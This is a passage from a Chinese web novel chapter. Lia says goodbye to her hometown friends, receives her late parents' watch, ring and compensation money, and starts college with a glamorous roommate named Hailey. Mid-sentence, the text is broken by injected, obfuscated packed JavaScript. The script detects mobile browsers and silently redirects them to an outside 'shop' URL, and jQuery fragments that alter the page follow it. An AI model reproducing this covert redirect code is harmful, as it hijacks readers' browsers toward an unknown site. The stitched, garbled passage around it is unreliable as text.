之后白天，她们在海滩上散步，捡拾奇形怪状的贝壳和光滑的石头。晚上，她们围坐在木屋沙发，分享路上买的零食，听莉齐讲她年轻时的各种荒唐事。


    她们玩得很疯，笑得很大声，仿佛要用尽所有的力气，把离别的阴影暂时驱散。


    因为她们都知道，假期结束后莉娅要去上大学，奥黛丽打算在这个海边小镇先找份工作落脚，探索她的新天地，而莉齐也要返回橡林镇。


    一个稳固的小团体，即将各奔东西。


    现在这份记忆，比任何东西都珍贵。


    *


    海边假期结束，离大学开学的日子越来越近。


    莉娅回到了橡林镇，做最后的准备。出发前一晚，夕阳将湖面染成金红色时，她最后一次乘小船，去了对岸的山核桃树下。


    利奥果然在那里。


    扳手已经长成一条半大的狗，威风凛凛，它远远看到莉娅的船，就兴奋地冲过来，嘴里叼着一根被湖水打磨得形状姣好的树枝，尾巴摇得像螺旋桨，把地上的落叶扫得四处飞溅。


    莉娅把船停好，走过去，习惯性地揉了揉扳手毛茸茸的脑袋。


    利奥靠在粗壮的树干上，看着她，没有说话。


    湖风轻轻吹动他额前的发丝。


    莉娅在他身边坐下，看着波光粼粼的湖面，沉默了一会儿才轻声开口，问出了那个她一直搁置在心底的问题：“我好像……还没有问你，打算去哪？”


    利奥的成绩单并不好看，整个学生时代有限的精力都奉献给了曲棍球。如果他坚持下去，或许真能得到某个低级别联队的垂青，但他亲手关闭了那扇门。


    他重复了她的问题，像是自己在咀嚼这个词的含义：“打算去哪？”


    然后，他顿了顿，声音平静，“打算……到处走走。”


    这个答案并不出乎莉娅的意料。


    他不是那种会安于在一个固定地方重复生活的人。


    她转过头，看着他被夕阳勾勒出的侧影，问出了更深的不安：“到时候……还能找得到你吗？”


    世界那么大，到处走走，听起来就像一滴水汇入大海。


    利奥终于转过头，看向她。


    他的眼神很沉静，里面有莉娅熟悉的笃定，还有一种她未曾明确感知过的、复杂的情愫。


    他没有给出确切的地址或承诺，只是说了一句很简单，却让莉娅瞬间安心的话：“能的。”


    他说，“你总能知道我在哪里。”


    莉娅没有再追问，她点了点头，把目光重新投向湖面。山核桃树的影子在夕阳下被拉得很长，笼罩着他们和那条兴奋地啃着树枝的狗。


    第二天，橡林镇小小的长途汽车站挤满了人，像是要把整个小镇的人都搬过来。


    莉齐用力地拥抱她，嗓门依旧洪亮：“好好学，有人欺负你就告诉我，我坐车去骂他。”


    安娜阿姨早已哭成了泪人，不停地用围裙角擦眼睛，把一个个装着食物的小包裹塞进艾拉的行李：“多好的孩子……呜呜……一定要常写信回来……”


    莉娅一一拥抱她们，感谢的话说了又说。


    最后，她走到利奥的母亲面前。米勒太太眼睛也是红红的，但脸上带着温暖的笑意。


    莉娅握住她的手，认真地说：“米勒太太，以后……就请您用自己的名字给我写信吧，我想收到您的信。但是，请您不要再在信里塞钱了。”


    她的声音有些哽咽，但努力保持着平静，“我会自己赚钱的，我已经长大了。”


    安娜阿姨听到这话，哭得更凶了，抽抽搭搭地说：“我就说早就该这样了……”


    旁边的吉姆医生习惯性地推了推眼镜：“显然，是某些人写信时情感表达过于泛滥，露出了马脚。”


    安娜阿姨立刻像被踩了尾巴的猫，也顾不上哭了，用带着浓重口音的英语反击：“你懂什么冷冰冰的，那是爱，是关心。你以为谁都像你，写个病历一样。”


    “至少病历准确无误，不会造成误解和依赖。”吉姆医生面无表情地反驳。


    看着这两位长辈像小孩子一样斗嘴，悲伤的气氛反而被冲淡了不少。


    米勒太太笑着摇摇头，拍了拍莉娅的手，然后从口袋里拿出一个厚厚的信封，塞到莉娅手里：“好孩子，你的心意我们知道了。但这些，你必须拿着。”


    她看着莉娅疑惑的眼睛，解释道：“那些钱一部分确实是你母亲生前攒下，嘱咐我们定期寄给你的。她那段时间……接了很多缝纫的活儿，没日没夜地干。”


    米勒太太的声音低沉下去，带着心疼，“还有这个。”


    她指着信封里的一个旧怀表和一枚样式朴素的金戒指，“这是你母亲当年为了应急当掉的东西，这个怀表和戒指，才是我们几个真正想送给你的入学礼。”


    莉娅打开那个沉甸甸的旧怀表。


    表盖内侧是一张小小的、已经泛黄的照片，照片上一对年轻的男女依偎在一起，男人英俊，女人温柔，脸上洋溢着幸福的笑容。


    那是她几乎快要记不清模样的父母。


    米勒太太又指了指那沓钱：“另外这些，是你父亲当年在矿上出事……一直没能顺利拿到的抚恤金。前些日子安娜冲到银行，坐在人家办公室里，用我们谁都听不懂的方言骂骂咧咧了好几个小时，对方实在受不了，才终于把这笔陈年旧账结清了。”


    安娜阿姨听到这话，昂起头，脸上还挂着泪痕，却一副胜利者的姿态：“跟他们讲道理没用，就得来硬的。”


    莉娅的眼泪终于忍不住掉了下来。


    她紧紧攥着那个信封，再次拥抱了每一个人，承诺会经常写信。


    汽车的引擎发动了。


    莉娅最后看了一眼送行的人群，看到了站在稍远处的利奥。他没有挤上前，只是安静地看着她，阳光下他的身影挺拔而清晰。


    扳手蹲在他脚边，吐着舌头。


    莉娅对他挥了挥手。


    利奥抬起手轻轻挥了一下，动作幅度很小。


    莉娅转身上了车，找了个靠窗的位置坐下。


    汽车缓缓驶出车站，她透过车窗看着那些熟悉的面孔、熟悉的街道、熟悉的湖泊和森林渐渐后退、变小。


    她打开怀表，看着照片上父母年轻的笑容，又摸了摸口袋里那个柔软的猫头鹰挂链。


    车开了，载着她驶向一个未知却充满可能性的未来。橡林镇在她身后，她知道这里永远是她可以回归的港湾。


    而前方广阔的世界，在等着她。


    *


    阿默斯特学院的学术氛围浓厚得几乎让人窒息，让她这块来自橡林镇的“海绵”贪婪地吸收着知识的水分。


    她的时间被


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16828990|190583||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    分割成小块，上课、泡图书馆、在图书馆兼职整理书籍、为了维持绩点而熬夜啃读艰深的文献。


    她的舍友，海莉·温斯洛，来自波士顿一个显赫的律师家庭，入校前是东部某知名高中的啦啦队队长，金发碧眼，身材姣好，衣柜里挂满了莉娅连名字都叫不出的昂贵品牌的衣服。


    开学初，海莉对莉娅那些来自橡林镇杂货店、洗得发白的格子衬衫和灯芯绒长裤，报以一种疏离的态度，仿佛在观察一种陌生的生物。


    头两个星期，她们在宿舍里的对话仅限于“你好”、“再见”和“麻烦关下灯”。


    转机发生在一个周末的深夜。


    海莉参加完一个派对回来，带着一身酒气和莫名的沮丧，发现莉娅正用小电炉给自己煮一碗香气扑鼻的蔬菜汤。汤里加了从橡林镇带来的、安娜阿姨晒的干蘑菇，那股独特而温暖的鲜香瞬间弥漫了整个房间。


    莉娅原本想直接爬上床，却被那香味勾得挪不动步：“那是什么？”


    她忍不住问，声音带着醉后的含糊。


    “随便煮的汤。”莉娅有些局促，下意识想挡住小锅。


    “闻起来……不像随便煮的。”海莉凑过来，眼巴巴地看着翻滚的汤锅。


    那天晚上她喝了两大碗莉娅分的汤，然后话匣子就打开了，从派对上的无聊男孩抱怨到维持身材的痛苦。


    自那以后，一种奇妙的关系在她们之间建立起来。


    海莉是个矛盾体。


    她极度在意身材，梦想毕业后进入时尚杂志工作，却又有着难以遏制的口腹之欲。


    她经常一时冲动买回一大堆甜品、薯片或披萨，然后像完成仪式一样，每样只吃一两口剩下的全部推到莉娅面前：“给你了，莉娅。再吃一口我的腰线就要消失了。”


    有时她意志力崩溃，会忍不住把一整盒巧克力都吃完，然后陷入巨大的懊悔，半夜十一点拖着昏昏欲睡的莉娅去操场跑圈，一边跑一边哀嚎：“男人都是视觉动物，没有一个靠谱的东西。”


    有一次，莉娅忍不住问她：“既然觉得他们不靠谱，为什么还要不停地交男朋友呢？”


    海莉正对着一面小镜子补口红，闻言理所当然地回答：“总得有人帮我提包、占座、对付那些讨厌的苍蝇吧。而且，约会餐厅通常都不错。”


    她放下镜子，叹了口气，语气半真半假，“唉，说到底，可能只是因为我害怕一个人吃饭。”


    另一方面，海莉对莉娅的“时尚品味”进行了无情的“改造”。


    她一边嫌弃地拎起莉娅一件领口都有些松垮的旧毛衣，嘟囔着“我实在不想让别人看到我整天跟一个像刚从林子里挖完野菜回来的土老冒在一起。”


    一边又会慷慨地打开自己塞得满满的衣柜，挑出各式各样的衣服塞给莉娅：“试试这个，还有这个。老天，这颜色简直是为你这种安静的气质量身定做的。”


    如果真有其他人敢当面嘲笑莉娅的穿着，海莉会立刻像一只被惹怒的护崽母鸡，用她精准毒舌的把对方从头到脚点评得体无完肤，直到对方讪讪离开为止。


    莉娅从一开始的抗拒，到后来的无奈接受，再到最后偶尔也会在海莉的怂恿下尝试一些以前从未想过的颜色和款式，发现自己确实有了些不一样的变化。


    在繁重的课业和兼职之余，莉娅开始写作。